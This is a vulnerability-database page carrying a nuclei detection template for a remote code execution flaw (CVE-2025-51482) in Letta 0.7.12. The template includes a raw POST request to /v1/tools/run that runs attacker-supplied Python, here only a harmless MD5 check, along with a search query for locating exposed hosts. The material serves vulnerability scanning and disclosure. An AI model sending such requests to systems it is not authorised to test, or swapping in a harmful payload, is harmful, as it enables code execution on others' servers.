Lucene search
K

Letta Letta 0.7.12 - Remote Code Execution

🗓️ 08 Jul 2026 05:22:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run, enabling arbitrary Python and OS commands.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-51482
22 Jul 202518:56
circl
CNNVD
Letta-ai letta 代码注入漏洞
22 Jul 202500:00
cnnvd
CVE
CVE-2025-51482
22 Jul 202500:00
cve
Cvelist
CVE-2025-51482
22 Jul 202500:00
cvelist
EUVD
EUVD-2025-22345
3 Oct 202520:07
euvd
NVD
CVE-2025-51482
22 Jul 202517:15
nvd
OSV
CVE-2025-51482
22 Jul 202500:00
osv
Positive Technologies
PT-2025-30443 · Letta-Ai · Letta
22 Jul 202500:00
ptsecurity
RedhatCVE
CVE-2025-51482
24 Jul 202500:23
redhatcve
Snyk
Arbitrary Code Injection
22 Jul 202517:43
snyk
Rows per page
id: CVE-2025-51482

info:
  name: Letta Letta 0.7.12 - Remote Code Execution
  author: RaghavArora14
  severity: high
  description: |
    Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.
  impact: |
    Unauthenticated attackers can execute arbitrary Python code through crafted tool source code in the /v1/tools/run endpoint, achieving remote code execution.
  remediation: |
    Upgrade Letta to a version later than 0.7.12 that properly validates and sandboxes tool source code execution.
  reference:
    - https://www.gecko.security/blog/cve-2025-51482
    - https://github.com/letta-ai/letta/pull/2630
    - https://github.com/Kai-One001/Letta-CVE-2025-51482-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-51482
    epss-score: 0.01862
    epss-percentile: 0.76727
    cwe-id: CWE-94
    cpe: cpe:2.3:a:letta:letta:0.7.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: letta
    product: letta
    fofa-query: title="Letta"
  tags: cve,cve2025,rce,letta,vkev

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /v1/tools/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "name": "nuclei",
          "args": {},
          "json_schema": {"type": "object", "properties": {}},
          "source_code": "def nuclei():\n    import hashlib\n    data='{{num}}'.encode('utf-8')\n    return ''+hashlib.md5(data).hexdigest()"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - 'tool_return":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dfb78596399ac4dfc9e1d6a533b572e043c8310998a1916d1545ec8b2ecd0a3102202f14ece9de25ed347689f1c1d3a89ecb29e7e6e8cb649e559a2d69dedfefdb5a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.18.8
EPSS0.01862
SSVC
6